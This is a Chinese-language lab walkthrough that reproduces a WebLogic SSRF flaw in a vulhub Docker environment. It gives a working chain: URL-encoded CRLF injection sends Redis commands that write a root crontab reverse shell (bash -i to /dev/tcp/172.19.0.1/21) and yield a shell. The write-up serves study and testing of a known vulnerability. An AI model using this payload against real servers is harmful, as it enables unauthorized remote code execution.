採用的虛擬機器環境為ubuntu16.04,在虛擬機器上搭建好docker環境。採用的vulhub來進行復現。
使用git來下載,命令為git clone https://github.com/vulhub/vulhub.git
進入ssrf漏洞中,
cd /vulhub/weblogic/ssrf
建立漏洞環境
docker-compose up -d
檢視容器
docker ps
虛擬機器地址為192.168.6.136,訪問http://192.168.6.136:7001/uddiexplorer/SearchPublicRegistries.jsp
成功建立漏洞環境。
ssrf漏洞測試
開啟代理工具攔截http請求包
可以看到引數中存在一個網址,將引數改為http://192.168.6.136:7001
再訪問一個不存在的埠
從兩次不同的http請求包結果中可知,weblogic中存在這ssrf漏洞。
檢視weblogic容器的地址
docker inspect 642ac3b75ae8
同理 docker inspect fe0822abff42
注入HTTP頭,利用Redis的反彈shell
通過SSRF探測內網中的Redis的伺服器
想redis伺服器傳送命令
set 1 “\n\n\n\n* * * * * root bash -i >& /dev/tcp/監聽ip/port 0>&1\n\n\n\n”
config set dir /etc/
config set dbfilename crontab
save
利用回車換行將三條命令連線,換行符號的url編碼為%od%oa,注入的程式碼為
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.19.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
在虛擬機器中監聽,容器的閘道器為172.19.0.1,即為虛擬機器的地址。
發包
成功得到shell。
到此,漏洞成功復現。